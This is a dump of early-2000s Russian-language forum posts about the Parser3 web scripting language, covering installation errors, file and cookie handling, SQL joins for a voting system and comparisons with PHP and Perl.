"4426","Иди от обратного - не какой рарабатывать админский интерфейс надо думать, а создавай все посредством создания админского интерфейса.\
Напр.: Надо новости - пишешь интерфейс создания/редактирования новостей. Нужны шаблоны страниц - пишешь интерфейс создания/редактирования  шаблонов и тд. + Одновременно научишься создавать системы администрирования. "
"4427","У кого-нибудь получалось доставать-загружать парсером картинки из\\в БД ?? Если да, то пожалуйста опишите как, желательно под mssql(если есть разница в вашем примере).\
--\
Убедительная просьба не писать, что я последний мудак т.к. храню в бд картинки - мне сказали сделать - вот я и мурыжусь.\
:-)"
"4429","Парсер пишет:\
\
driver failed to initialize client library 'libmysqlclient.so', can not open the dynamic link module\
/home/estilla/www/preorder.ru/cgi-bin/parser3/lib/libparser3mysql.so\
\
./parser3.conf(8)\
\
--------------------------------------------------------------------------------\
connect /home/estilla/www/preorder.ru/auto.p(117)\
last_ten /home/estilla/www/preorder.ru/index.html(34)\
\
Провайдер пишет: \
\
MySQL у нас собран статически, поэтому библиотеки libmysqlclient.so\
нет.\
Приложение можно собирать статически, тогда libmysqlclient.so не\
понадобится. Не знаю, возможно ли это в случае с парсером.\
\
Что делать?\
"
"4431","Парсер пишет:\
\
driver failed to initialize client library 'libmysqlclient.so', can not open the dynamic link module\
/home/estilla/www/preorder.ru/cgi-bin/parser3/lib/libparser3mysql.so\
\
./parser3.conf(8)\
\
--------------------------------------------------------------------------------\
connect /home/estilla/www/preorder.ru/auto.p(117)\
last_ten /home/estilla/www/preorder.ru/index.html(34)\
\
Хостинг провайдер пишет: \
\
MySQL у нас собран статически, поэтому библиотеки libmysqlclient.so\
нет.\
Приложение можно собирать статически, тогда libmysqlclient.so не\
понадобится. Не знаю, возможно ли это в случае с парсером.\
\
\
Что делать? Обойти как нить можно? У провайдера FreeBSD 4.3"
"4432","мысль интересная ;)\
но я пока есть большой дока в юзабилити :(\
но учусь."
"4434","Спасибо, понял... \
Теперь буду сначала форум читать, а потом писать :)"
"4435","А я могу объявить глобальную переменную, которая при каждой новой перезагрузке страницы будет сохранять свое значение? Только мне именно нужна переменная, а не константа. А то кроме как через URL передать старое значение после перезагрузки не удается."
"4436","Так что либо через URL, либо куками..."
"4437","1) господа, а есть ли у вас дока к модулю на русском?\
\
2) нужно ли делать еще что-то, кроме раскомментирования строчек с модулем для того чтобы включить (я имею в виду подключение модуля к апачу, а не настройку)"
"4438","Суть вопроса:\
\
Есть файл: Без_имени.psd 'предпаложим'\
\
При считывание фалоы в каталоге получается что - то вроде _C1_E5_E7 _C8_EC_E5_ED_E8-1.psd\
\
и ежели обратиться к нему в таком виде - получается ошибочка вида:\
[code]\
read failed: No such file or directory (2),\
actual filename '/home/air/www/i/_C1_E5_E7 _C8_EC_E5_ED_E8-1.psd'\
\
/home/air/www/i/_C1_E5_E7 _C8_EC_E5_ED_E8-1.psd\
\
form(1)\
exception.type=file.missing \
[/code]\
Вот.\
Как бы этого избежать?"
"4439","[i]1) господа, а есть ли у вас дока к модулю на русском?[/i]\
Посомтри в И-нете :-) Там есть все!\
\
[i]2) нужно ли делать еще что-то, кроме раскомментирования строчек с модулем для того чтобы включить (я имею в виду подключение модуля к апачу, а не настройку)[/i]\
Да нет. И так всепыхтит и бегает."
"4440","Некто Starkie тут предложил создать конференцию ru.parser посвящённую нашему любимому языку (для другого нашего любимого конфа уже есть - news:comp.lang.perl.misc)\
\
Я просто хотел дать возможность местному народу прочитать [url=\"http://groups.google.com/groups?dq=&hl=ru&lr=&ie=UTF-8&oe=UTF-8&threadm=1027649286%40p11.f953.n5030.z2.ftn&prev=/groups%3Fq%3Dfido7.ru.web.construction%26ie%3DUTF-8%26oe%3DUTF-8%26hl%3Dru%26btnG%3D%25D0%259F%25D0%25BE%25D0%25B8%25D1%2581%25D0%25BA%2B%25D0%25B2%2BGoogle\"]одну ветку в news:fido7.ru.web.construction[/url]  и (с него проще начать или проще им ограничиться - [url=\"http://groups.google.com/groups?dq=&hl=ru&lr=&ie=UTF-8&oe=UTF-8&group=fido7.ru.web.construction&selm=ahq136%24sdf%241%40gavrilo.mtu.ru\"]моё саммари[/url] по поводу дискуссии). Прав был Сергей Голубицкий в статьях ([url=\"http://www.computerra.ru/offline/1997/192/470/\"]одной[/url] и [url=\"http://www.computerra.ru/offline/1997/196/538/\"]другой[/url]) в моём любимом журнале (и уже две недели как новом месте работы) - эта тусовка - советская коммунальная квартира. На сто постингов  с гаком - только шесть содержательных (а не посвящённых мерянью пузами с Артемий Андреичем Лебедевым). Американский usenet в этом смысле куда интереснее и содержательнее. В общем, забить на эту идею надо бы...\
\
У нас есть милейший форум, посвящённый этому делу, и давайте перестанем дразнить \"коммунальную общественность\" и кому-то чего-то доказывать (последнее адресуется как раз упомянутому Alexey AKA Starkie)."
"4441","Кстати, кто-то, прочитав [url=\"http://groups.google.com/groups?dq=&hl=ru&lr=&ie=UTF-8&oe=UTF-8&group=fido7.ru.web.construction&selm=ahq136%24sdf%241%40gavrilo.mtu.ru\"]это[/url] может спросить, а чего-й то Саня так потеплел к xml/xslt? Ну да, потеплел вроде... В работе пока не применял, но прицениваюсь... интересно вроде, хотя не всё получается... Книжки пока читаю... Вот."
"4443","А подскажите уважаемые гуру и монстры парсера :))) можно ли хранить контент (со всеми хтмл тегамии, ссылками и т.д.) странички в текстовом файле и грузить его используя конструкцию типа\
$f[^file::load[формат;имя_файла]]   \
потом\
$f.text \
но так чтобы теги обрабатывались сервером то есть было видно все картинки ссылки и т.д. или я слишком многово хочу и ищу слишком легкие пути?\
Заранее спасибо за ответ, прошу ногами сильно не пинать :)))\
"
"4445","В свое время застал начало этого треда, но вот что вышло дальше - кошмар.\
Простой пример - у меня в городе почти все носятся с PHP и Perl, кто-то сел на Питон, но пока не нашли ;), эти люди посмотрев код 2-го парсера согласились, что 80% задач можно делать на ПАРСЕРе вообще не напрягаясь, и главное зарабатывать на этом. У нас не стоит так остро проблема с провами - просто звоню и говорю, что надо прикруктить к серваку и зачем.\
Вообщем будем ходить сюда.\
Пы.Сы.: жаль не могу приехать на ПАРСЕРовку ;```((("
"4446","@include[file][f;fd]\
$f[^file:find[$file]]\
^if(def $f){\
	$fd[^file::load[text;$f]]\
	^process{^taint[as-is][$fd.text]}}\
#end @include[]\
\
а потом, например: ^include[navigation.inc]"
"4447","Здравствуйте, уважаемые обитатели!\
Я уже около года практикую PHP и около 4 - Perl. Однако, заинтересовавшись Parser'ом, решил почитать соотв. документацию. \
Сразу же возник вопрос - в чем parser легче PHP? \
\
ИМХО, PHP обладает логической стройностью и легкостью C. Уверен, что и Parser имеет то же самое, но пока что мне видны только переобозначения (в смысле знаков ^). Человек, который должен поддерживать сайт, как описано в примерах, не напрягается вообще. Надо только менять таблицу или текстовые файлы. С другой стороны, написание на PHP хорошего административного интерфейса(не по-русски, ну да бог с ним) - удовольствие лдя хорошего программиста. \
\
Конкретно проблема такова - где можно добиться улучшений в работе поддерживающего персонала с помощью Parser?\
\
"
"4448","Насколько я понял это метод которому передается в качестве параметра имя файла, потом идет проверка на наличие этого файла, после чего файл грузиться в $fd как есть и при вызове метода передаст текст?"
"4450","[quote][b][color=\"red\"]ПОИСК ПО ФОРУМУ[/color][/b] - работает![/quote]"
"4452","Очень не хватает например вот такой вот штуки:\
Загружать в таблицу данные с других серверов, допустим, новостные данные предоставляемые для экспорта..."
"4453","\"...где можно добиться улучшений в работе поддерживающего персонала с помощью Parser?\"\
\
- в России и за рубежом. исчерпывающий ответ?\
\
\"Сразу же возник вопрос - в чем parser легче PHP?\"\
\
- ни в чем не легче. и не хуже. и не лучше. О сравнении языков есть на сайте. Поищи в форуме. Но, честно говоря, Parser это Parser, a PHP это PHP. У каждого есть свои достоинства и недостатки.\
\
Почему так много машин? Сделали бы одну крутую, и ездили на ней, а почему книг столько пишут? Написали бы одну нормальную и читали ее, А зачем столько печенья в магазине?\
А зачем вообще мозги человеку?\
\
Короче тема дебильная просто."
"4454","Для начала отошлю к FAQ - не с целью послать, а из-за лени перепечатывать (и даже copy-paste'ить) тот его кусочек, где сравниваются в неких областях Parser и PHP.\
\
Далее - мысли в слух:\
Написание административного интрефейса на любом \"серверном\" языке - удовольствие сомнительное, хотя бы потому, что ничего принципиально интересного с точки зрения программирования я в этом не вижу. Интересным мне это казалось в тот момент, когда я изучал те инструменты (более широко, чем просто язык, ибо есть среда, сервер, БД, сам язык) с помощью которых он (интерфейс) строится. Уже на втором по счету интерфейсе (даже при переписывании с нуля) дело идет на \"автопилоте\" и \"ручное управление\" включается очень редко... Более того, даже когда сменились инструменты разработки (PHP вместо Perl, Parser вместо PHP, Perl вместо Parser и т.д.) удовольствие было лишь до момента \"понятия\" идеологии инструмента. Дальше - рутина чистой воды.\
Да и вообще, я не считаю это Программированием (с большой буквы) ;-) - так скриптование.\
Возможно, мне просто не приходилось делать что-то эдакое, но, честно сказать, я и не вижу таких задач в области построения \"формочек для заполнения секретаршей\". Зато мне очень приятно, когда человек, получающий доступ к админке с целью внесения контента, говорит, что это удобно. А вот это НЕ ЗАВИСИТ от языка."
"4455","Сенкс попробую..."
"4456","Просто зовешь банальный wget, который сохраняет файл, который уже грузишь себе.\
\
А лучше делать это не \"на лету\", а отдельным скриптом каждые N минут по cron и пихать себе в базу. Это же не биржевые котировки в реальном времени ;-) Очень удобно - нет \"лишних\" обращений к уже закачанным данным (не думаю, что новости обновляются ежесекундно и пользователь, не успев скачать страницу, снова давит релоад), страница не подвисает в ожидании файла (а это очень серьезная проблема), да и возможностей для обработки полученных данных значительно больше."
"4458","Попробуй воспользоваться моей либой - http://www.bougakov.com/misc/libmysqlclient.so: положи её вместе с парсером в папку и исправь путь, чтобы на неё указывал."
"4462","[b]Alexey мне тут написал - процитирую свой ответ и тут, чтобы закрыть тему парсера и фидо раз и навсегда.[/b]\
\
-----Original Message-----\
From: Alexey Staroselets [mailto:Alexey.Staroselets@spb.reget.com]\
Sent: Friday, July 26, 2002 4:28 PM\
To: 'sanja@bougakov.com'\
Subject: ru.web.construction\
\
> привет из ru.web.construction ;) \
> прочитал твоё \"parser: summary\" - могу сказать лишь спасибо. \
> рад, что хоть некоторые люди еще умеют аргументированно отвечать \
> на поставленные вопросы и осмысленно писать.\
\
Этим на жизнь зарабатываю...\
\
> наверное зря я затеял тему о парсере в rwc - жаль, что нет ru.parser :( \
\
ru.parser и вообще любая эха на тему парсера не нужна. \
Я вообще НЕ считаю, что нужна любая активность в fido. Let it die silently.\
\
> форум на сайте, конечно, тоже хорошая вещь, но инет бывает с перебоями, а на работе не всегда есть время на это... \
\
А у меня перебоев с инетом нет вообще. Куплю Nokia 6510 с GPRS - вообще круглосуточно будет. И что?\
\
Парсер - интернет-технология. Использовать его, обсуждать его без инета - это извращение...\
\
О необходимости эхи на тему парсера в фидо заговорил только ты один за два года существования продукта. Тема не востребована.\
\
> с одной стороны, большинство подписчиков rwc - люди грамотные, умные. но с \
> другой - жутко эксцентричные и вспыльчивые. \
\
Мне показалось, что там обитают loosers за полудюжиной исключений.\
\
> что ни говори - а всё равно флейм. чувствую, парсер можно будет \
> пообсуждать в фидо только в ru.artemy.lebedev.is.my.god \
\
В фидо, по-моему, пообсуждать ничего не получится в принципе...\
\
> или на том же www.parser.ru\
\
Вот это другое дело... Мы вернулись к тому, с чего начали...\
\
Тема, по-моему, закрыта и далее не обсуждается. \
\
Саня  "
"4463","Что нужно написать до этой строчки?\
^f.save[text;test.txt]"
"4466","На конструкцию типа $f.text[ffffffff] оно ругается: \
'text' element can not be stored to void  type: parser.runtime"
"4467","сабж, чтобы высвечивал нужное... "
"4469","Не, в самом деле проще cron+wget + дать запись в файл, \"переделавать\" под себя все равно надо."
"4470","интересная у тебя философия, однако я с ней не согласен...\
оптимистичней нужно смотреть на вещи :-)"
"4472","А не проще тогда сделать ОБЩУЮ базу данных????"
"4474","--- Cited ---\
\"...где можно добиться улучшений в работе поддерживающего персонала с помощью Parser?\"\
\
- в России и за рубежом. исчерпывающий ответ?\
--- end ---\
\
Нет. Например, при кодировании страниц Parser - может быть легче. А при разборе данных из формы - Perl. Собственно в этом и вопрос.\
\
--- Cited ---\
\
\"Сразу же возник вопрос - в чем parser легче PHP?\"\
\
- ни в чем не легче. и не хуже. и не лучше. О сравнении языков есть на сайте. Поищи в форуме. Но, честно говоря, Parser это Parser, a PHP это PHP. У каждого есть свои достоинства и недостатки.\
--- end ---\
\
Так или иначе вопрос сводится к области применения. Не уверен, что каждый пользователь сможет писать .dll на С для работы с web. В то же самое время, PHP легче для понимания. Мне кажется, что Parser всего лишь по-другому сделанный язык, который дублирует функции perl + php. \
\
"
"4475","А нафига тогда что-то получать с удаленного сервера, если оно лежит локально в кэше? ;-)"
"4477","У класс file поле text - readonly.\
Если хочешь сохранить именно текст, обрати внимание на метод save класса string."
"4479","Было бы иначе - давно бы уже проклял все и ушел бы в монастырь ;-)"
"4481","С/С++, Pascal и другие языки программирования были давно.\
\
PHP \"придумали\" значительно позже.\
Parser - еще чуть позже.\
Оба - для облегчения работы.\
Оба - со своими преимуществами и недостатками.\
\
Если вернуться к вопросам, то\
1. Для разбора данных форм Parser тоже очень удобен. Есть класс form, поля которого - значения пришедших полей формы. Манипулировать ими - одно удовольствие ;-) Конечно, если эти данные надо \"бинарно похачить\" (типа файл приложенный обработать), без перла не обойтись, но часто ли это надо? При выкладывании новостей в базу - совсем не нужно ;-)\
2. Про легкость понимания - вопрос, скажем так, личный ;-) Я, в свое время, \"въехал\" в Parser очень быстро (за пару дней ненапряжных экспериментов), при этом имея на руках только некоторые зачатки документации и несколько страничек но Parser."
"4482","делаю систему голосований.\
есть три базы: vote(id,date,title,closed), answer(id,voteId,answer,order),voice(id,answerId,voteId,login,ip,datetime).\
Для вывода результатов делаю такой запрос: \
[code]\
SELECT\
  answer.answer,\
  COUNT(voice.id) as voices \
FROM \
  answer, \
  voice \
WHERE \
  answer.id=voice.answerId AND\
  answer.voteId=1\
GROUP BY \
  answer.answer \
ORDER BY answer.order\
[/code]\
В этом случае, если за какой-то вариант отваета не поступило ниодного голоса, его не будет в результате выполнения запроса. Как поправить запрос, что бы вариант ответа был в ответе в любом случае?"
"4483","pomogite pojaluysta s cookies!\
u menya takaya logika : \
[code]\
1.user prishel na login.html\
2.mi pishem emu na komp cookie\
3.perenapravlyaem na secretpage.html\
      $response:location[/secretpage.html]\
4.pri vhode na secretpage.html proveryayem, lognulsya li user\
 $user[vibirayem usera iz bazi] \
 ^if($cookie:user ne $user){$go[nahuy]}\
\
i vot tut nachinayutsa pizdetsi!(sorry...ochen zol!)\
\
Pizdetsi : posle relocation'a danniye o cookie v secretpage.html ne peredayutsa! to est $cookie:user vozvrachaet pustoy string!\
POCHEMU?! esli je posle sozdaniya session zayti na secretpage.html - to vse rabotaet ob!\
Mne prishlos ispolzovat promejutochnuyu stranitsu - bez nee ne poluchilos!\
\
Help me please!\
[/code]"
"4484","примерно так...\
[code]\
SELECT \
answer.answer,\
COUNT(voice.id) as voices\
FROM\
answer LEFT JOIN voice ON answer.id=voice.answerId\
...\
[/code]\
не уверен в 100% правильности - думать щас совсем неохота, но надо использовать LEFT JOIN"
"4485","Можно ли на Парсере написать нормальную баннерную систему?"
"4486","Маленький внутренний движок - баннерокрутилку для сайта - пожалуйста, но rotabanner я бы на парсере не писал. Лучше бы пригласил специального дядю, чтобы он мне написал движок на C или на чём-то аналогичном.\
\
Для баннерокрутилки на первом месте - эффективность и стойкость к нагрузкам, вылизанность в плане оптимизации. Движок должен быть способен выдержать пару сотен обращений к себе в секунду и уверенно их обработать.\
\
Для таких задач даже вебсерверы часто применяют не обычные, а оптимизированные, а ты хочешь использовать под свою задачу не тот инструмент. Лес можно срубить и топором, но бензопила поэффективнее будет..."
"4488","и думать и сравнивать будет - а это всегда полезно."
"4489","А вот интерфейс - можно."
"4491","Думаю, что file есть только для получения информации о файле (его содержимое - тоже \"информация о нем\").\
Хочешь изменить - сохрани ^file.text в переменную типа string, а потом (после изменений) сохрани с помощью ^string.save..."
"4492","Помогите пожалуйста! Не знаю как сделать, чтобы скроллинг во фрейме был сдвинут на какое-нибудь количество пикселей. Это нужно, чтобы страница(фрейм) выглядела красиво на экранах с большим расширением."
"4493","А где crack для нее достать?"
"4494","Не удаётся заставить Parser выводить пример из урока 6(про XML) в правильной кодировке.\
Все 3 файла article.* в кодировке win-1251.\
Тем не менее, результат работы article.html приходит в какой-то вырожденной неизвестной кодировке."
"4495","и сайт только-только появился и посещаемость не достигла большого кол-ва?"
"4496","[code]\
^tab.menu{<img \
  src=$tab.img\
/>}\
[/code]\
Т.е. переносы для читабельности ставь между атрибутами тегов.\
\
Метод рулит :)\
\
"
"4497","всем привет, кстати."
"4499","попробовал поиграться с left join'ом - результат тот же :("
"4501","Вот прочитал в форуме, что поисковики смотрят на сайты глазами посетителя, [i]а можно ли это сделать с помощью Парсера[/i]?"
"4503","под IIS_5\
\
Сделал все, как написано для IIS,\
1. Распаковал parser3conf_20020430_win32.zip в D:\\winnt \
2. Распаковал parser3_1_0_0001_win32_cgi_xml.zip в D:\\winnt  \
3. В поле Executable ввел полный путь к файлу parser3.exe [d:\\winnt\\parser3.exe]\
4. В поле Extension ввел строку .html. \
5. Включил опцию Check that file exists. \
6. Documents > index.html (все остальные убрал \
7. Сделал все как написано в 1 уроке\
\
8. На экране вижу ^navigation[]\
\
Help PLS!!!"
"4504","Чего конкретно-то надо?"
"4505","Обычно локальный поисковик открывает файл, индексирует его и т.д.\
А \"большие поисковики\" не открывают файлы, они смотрят на страницу глазами пользователя, который зашел на страницу, т.е. смотрят header, body и все такое (это я так понимаю).\
Ни один локальный поисковик не может проиндексировать сайт, писанный на Парсере. Может ли Парсер смотреть на сайт \"глазами посетителя\", можно ли так сделать?"
"4506","Сделал всё, как написано в мануале на птичку и вот, что получается:\
запускаю index.html и Brouser выдаёт пустую страницу/ может с mysql чё-нибудь? \
Кто сталкивался- помогите плииииииииз.... \
Заранее спасибо."
"4507","Это не к Parser, а к поисковику претензии. Тот же Yandex.Site (задуманный и сделанный как локальный, но разработанный по образу \"старшего брата\") смотрит на все сайты \"глазами посетителя\"."
"4509","распакуй в D:\\winnt \
все должно зпработать\
\
"
"4510","Ищи ошибку!\
у меня всё с первого раза получилось.\
\
а ты базу создал в mySQL?\
а таблицу?\
а поля в таблице?"
"4512","правда с первого разу кажется лесом дремучим, но потом вроде ничё :)"
"4514","по-моему под этой ОС не стоит работать с парсером, да и вообще с веб-серверы ставить на ней. Ну не создан Novell для этого. Novell - это наверно самая лучшая ОС для файлового сервера и для поддержки инфраструктуры сети (службы каталогов), но вот как сервер приложений она уступает Windows NT/2000 не говоря уже про Unix.\
\
Но это было так, лирическое отступление, теперь к делу. Собери парсер под Novell, поставь там Apache и запускай его на здоровье."
"4515","Я люблю Novell, я даже имел здоровый и мошный факинг с перлом на его NES. Но... Мое мнение - не стОит его так мучать. И файл сервер положишь, и от веба ничего толкового не добъешься."
"4517","Помогиет пожалуйста все сделал как в уроке но мне выдает ошибку такого вида\
'CLASS ' invalid special name. valid names are 'CLASS', 'USE' and 'BASE'\
exception.type=parser.compile \
\
Я уже раз десять проверил класс описан правильно в чем может быть проблема.\
"
"4518","надо:\
[code]\
@CLASS\
имя_класса\
[/code]"
"4519","в msie4 при генерации формы javascript'ом, данные, отправляемые формой были в utf-8, а не в кодировке страницы.\
ошибка msie.\
подозреваю, осталась.\
\
можно отловить, задав кодировку $request:charset[UTF-8] в @auto\
к сожалению, в момент @auto (по причине неопределённости кодировки нельзя воспользоваться $form:field для определения: надо/нет переключать)\
так что переключать следует на основании других признаков.\
проверяя $request:uri и $env:HTTP_USER_AGENT\
"
"4521","Yandex.Site for Windows — не пашет :-((, не индексирует сайт!"
"4522","Он, конечно, со своими тараканами, но вполне работоспособен."
"4523","#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
$response:content-type[\
   $.value[text/html]\
   $.charset[$response:charset]\
]\
\
Все дело в этом месте - оперделение кодировок.\
Парсер их не видит просто у тебя. Проверь SetEnv - скорее всего у тебя они не установлены.\
\
Ищи в форуме - это обсуждалось."
"4524","Но есть ведь еще другие спиртные напитки :)\
минералка, кофе, кола в конце то концов.\
Речь то идет об общении, а не о пънке."
"4526","Может ли Парсер определить каким браузером пользуется пользователь?"
"4529","вот запрос:\
[code]\
SELECT answer.answer, COUNT(voice.id) as voices FROM answer LEFT JOIN voice ON answer.id=voice.answerId WHERE  answer.voteId=$form:voteId GROUP BY answer.answer ORDER BY answer.order\
[/code]"
"4530","[code]\
SELECT \
  answer.answer,\
  COUNT(voice.id) as voices \
FROM \
  answer LEFT JOIN voice ON answer.id=voice.answerId \
WHERE  \
  answer.voteId=$form:voteId \
GROUP BY \
  answer.answer \
ORDER BY \
  answer.order\
[/code]"
"4531","Тут возможно 2 варианта: \
- если на твоем сайте все в отдельных файлах, (парсер вызывается через макрос), помечай служебный код как-нибудь, например так:\
<!--\
^doit[...]\
-->\
Макрос тогда будет выглядеть так:\
@doit\
-->\
Код..\
<!--\
\
- Если же индексируемая информация находится в БД - тут, увы, поможет только паук. Большинство поисковиков, даже RiSearch, умеют понимать ограничения к индексации - назначь, к примеру <noindex>общее меню</noindex>\
\
Все просто:-)\
"
"4533","Привет всем.\
Ни кто ни когда не задумывался, как сделать фотогалерею на П3?\
Есть куча картинок. Необходимо сделать к ним предварительный просмотр(уменьшеные изображения форматов GIF & JPEG)."
"4534","Ну не хочет работать и все тут.\
Все проверил.\
\
@getMessageById[id]\
$result[^table::sql{\
		SELECT\
			forum_message_id,\
			parent_id,\
			thread_id,\
			title,\
			author,\
			email,\
			dt_published,\
			forum_message_body.body\
		FROM\
			^MAIN:dbconnect.left_join[from;forum_message_body;forum.forum_message_body_id = forum_message_body.forum_message_body_id]\
		WHERE\
			^MAIN:dbconnect.left_join[where;forum_message_body;forum.forum_message_body_id = forum_message_body.forum_message_body_id]\
			forum_message_id = ^id.int(0) AND\
			is_published = 1\
}]\
\
ГДЕ -\
\
$connect_string[mysql://root@localhost/test_forum]\
@dbconnect[code]\
^connect[$connect_string]{$code}\
\
\
"
"4535","хотя я бы сам сделал ногти(предпочитаю оптимизить ручками)"
"4536","Большое спасибо за прошлую помощь.(впредь буду внимательней разбирать сообщение об ошибке)\
\
\
И теперь сам вопрос какую литературу посоветуете для изучения XML?"
"4537","там Миша намеренно ошибку сделал, чтобы copy/paste не работало, - это пример для думающих.\
\
Даю наводку:\
\
Проанализируй строку после FROM т.е.\
\
^MAIN:dbconnect.left_join[from;forum_message_body;forum.forum_message_body_id = forum_message_body.forum_message_body_id]"
"4538","просто \"попить пивка\" у меня не ассоциируется с общением :)"
"4539","Нужно чтобы выводились маленькие картинки, а поклике на одну из них открывалась большая.\
\
Вообще говоря, меня нитересует можно ли уменьшиль изображение (gif и jpeg!) средствапи парсера?"
"4541","Установил Parser3 как CGI-скрипт под Apache, попытался открыть пробную страницу и получил:\
\
[an error occurred while processing this directive] [an error occurred while processing this directive] Error message: \
couldn't create child process: 23657: E:/win98/parser/parser3.exe [an error occurred while processing this directive]  "
"4543","Вопрос немного не по парсеру но все же.\
\
Можно ли в SQL запросом update table..... не переписать а добавить значение или надо парсером это дело доставать и потом записывать вновь."
"4544","Доброй ночи.\
\
Есть форма:\
\
       <td>Номер 1-го телефона</td>\
        <td><input name=\"fiz_tel1\" type=\"text\" id=\"fiz_tel1\"></td>\
        <td>Номер 2-го телефона</td>\
        <td><input name=\"fiz_tel2\" type=\"text\" id=\"fiz_tel2\"></td>\
\
        <td>Фото1, которое будет находиться на странице \"О фирме\"</td>\
        <td><input name=\"foto_firm1\" type=\"file\" id=\"foto_firm1\" size=\"20\"></td>\
\
Как мне получить файли с фото1?\
\
Пробовал так:\
\
$f[^file::load[binary;$form:foto_firm1]]\
^f.save[binary;/LOGO.gif]\
\
Но выдает ошибку, где-то видимо что-то не так сделал :)\
\
\
И еще один вопрос, с вашего позволения:\
\
Есть домен с алиасом. Получиться ли на Парсере такое:\
\
www.name1.xxx.ru  -  перенаправили в xxx.ru/name1/\
www.name2.xxx.ru  -  перенаправили в xxx.ru/name2/\
\
То есть не создавать сами поддомены, а просто перехватывать что-то типа $ENV{'HTTP_HOST'} и перенаправлять внутрь сайта, а если еще и заголовок при этом не будет меняться, было бы вобще хорошо.\
\
\
"
"4548","^form:foto_firm1.save[binary;путь_куда_сохранить/имя.файла]\
Если имя файла хочешь сохранять каким было, то вместо имя.файла пиши $form:foto_firm1.name\
Удачи..."
"4552","Может у кого нибудь есть wordfile для ULTRAEDITA.\
Такой чтобы подсвечивал синтаксис парсера.\
Буду очень благодарен за линк."
"4553","вот такая ошибка:\
\
contains illegal assignment attempt of bool to MAIN method_frame, use constructor\
\
не работает только тогда, когда я данные гружу из БД, т.е. используя ::sql{}\
почему? "
"4554","Сдается мне, что ты пишешь в чистом поле ^table.locate[aa;bb]\
\
а надо ^if(^table.locate[aa;bb]){}, например."
"4556","Если ты можешь зайти на эти name1 и name2 - тогда можно, но не парсером, а через mod_rewrite, а вот если это просто так хочется и доменов нет - ничего не получится."
"4557","[url=\"http://www.catalog.scn.ru/n_design/articles/02phppl.htm\"]PHP vs. Perl[/url]\
Обратите, особое внимание на советы...\
\
Кто может дополнить? :)"
"4558","Домен есть на masterhost и естественно доступ тоже есть.\
Мне нужно создавать автоматически поддомены для клиентов.\
\
Есть такой скрипт на перле интересный, вод код от него:\
\
$domain = $ENV{'HTTP_HOST'};\
\
if (($domain eq 'name.darkzone.ru') || ($domain eq 'www.name.darkzone.ru')) {\
  &Redirect(\"http://your link\",\
            \"darkzone.ru  .:Protected by Darkzone.ru:.\")\
}\
\
\
&Redirect(\"http://www.darkzone.ru\",\
          \"Darkzone\",\
          \"Darkzone\",\
          \".:Protected by Darkzone.ru:.\",\
          \"Darkzone\",\
          \"Darkzone\",\
          \"Darkzone protect\");\
 \
#################################################################\
# Redirect to real location. Real URL will hidden\
# Function parameters:\
#   0. Real URL location  - required\
#   1. Site Title         - required\
#   2. Site Description\
#   3. Site Keywords\
#   4. Site Author\
#   5. Site Owner\
#   6. Site Copyright\
\
sub Redirect { #\
 print \"Content-type: text/html\\n\\n\";\
 print \"<html><head>\\n\";\
 print \"<title>$_[1]</title>\\n\";\
 print \"</head>\\n\";\
 print \"<frameset frameborder=0 framespacing=0 border=0 rows=\\\"100%,*\\\" noresize>\\n\";\
 print \"<frame name=\\\"frame\\\" src=\\\"$_[0]\\\" noresize>\\n\";\
 print \"</frameset>\\n\";\
 print \"<meta http-equiv=refresh content=\\\"0; url=$_[0]\\\">\\n\";\
 print \"<a href=\\\"$_[0]\\\">$_[0]</a></html>\\n\";\
 exit;\
}\
\
\
Вот я и хотел узнать, средствами Парсера возможно это же сделать?"
"4559","[quote]\
Сервер у провайдера может работать под Unix-подобной операционной системой (тогда он скорее всего использует бесплатный веб-сервер Apache) — это бывает чаще всего, или под Windows NT (тогда он использует веб-сервер Internet Information Server).\
[/quote]\
Под NT тоже можно Apache пускать.\
[quote]\
В IIS Microsoft предоставила для разработчиков сайтов бэйсикообразный скриптовый язык сервера ASP (Active Server Pages).\
[/quote]\
В ASP можно и на java script писать\
[quote]\
Этот язык сделан для деловых людей, для которых нужен немедленный результат.\
[/quote]\
Этот язык сделан для программистов, - деловые люди обычно другим занимаются."
"4561","Видел адреса типа\
/doc.html?some\
как с этим работать? если \
/doc.html?some=1\
то понятно, а так..."
"4562","не помню где видел: Читать доки до просветления"
"4563","Я считаю, что настоящий программист - это поэт, и на каком языке ему описывать свои мысли, на французском или китайском, должно быть все-равно.\
Теперь о программировании, каждый язык PHP и Perl, заточен под свои задачи, поэтому, если вы не нашли этим языкам применения, то это не значит, что язык \"фуфло\". Это значит, что либо вы не сталкивались с более сложными задачами, либо вы не на столько далеки в программировании чтобы придумать применение тому или иному языку..."
"4565","попробуйте напечатать колонки таблицы:\
[code]\
$columns[^yourtable.columns[]]\
^columns.menu{\
    $columns.column\
}[,]\
[/code]\
посмотрите, что же там за колонки."
"4566","но ты почитай ещё вот это http://www.catalog.scn.ru/n_design/articles/01it.htm\
\
от того же самого автора, - по моему это автопортрет :)"
"4567","est. ochen horoshiy wordfile - sam polzuyus i drugim sovetuyu!\
ssilka : http://egorov2000.narod.ru/download/WORDFILE.zip\
\
Parser FoREvEr !"
"4568","надо либо:\
^if(^str.locate[]){действие}\
\
либо:\
$res[^str.locate[]]"
"4569","ya tut poexperementiroval i, resultat :\
\
$response:location[X] na zapros, poslanniy browser'om vidaet dokument X, ne zavisimo ot togo, chto tam v request'e - - pomoemu,eto oshibka, i ee nado ispravit.\
Zhelatelno sdelat tak, chtobi resultat raboti methoda bil identichen\
[code]\
<script>\
window.location='X';\
</script>\
[/code]\
togda i request menyaetsa, i response sootvetstvuet.\
\
A to ya\
1. na 1.html ustanavlivayu cookie,\
2. $response:location[2.html]\
3. Na 2.html proveryayu, ustanovle li cookie - i poluchayu - NET!\
Esli zhe vse eto delayu kak\
1. na 1.html ustanavlivayu cookie,\
2. v browser'e vizivayu 2.html - cse rabotaet na URA!\
\
k svedeniyu administratsiyi i Parser-developer'ov\
\
Luchshe Parser v serdtse site'a, chem zhuravl' v nebe - narodnaya poslovitsa\
"
"4570","$response:location[/2.html] - внутренний редирект\
\
$response:location[$env:SERVER_NAME/2.html] - внешний редирект, аналогичен ключю [R] в rewrite, изменяется url в броузере.\
\
Так что править ничего не надо, выбирай что тебе подходит и юзай.\
\
P.S. транслит - сакс, буду удалять следующий раз."
"4571","Sanx za podderzhku!\
Naschet translita - ya pishu vam iz Turkey - zdes russkih klav net - tak chto SORRY...\
P.S. parser azh v Turkey! Gordites'!"
"4572","est. ochen horoshiy wordfile - sam polzuyus i drugim sovetuyu!\
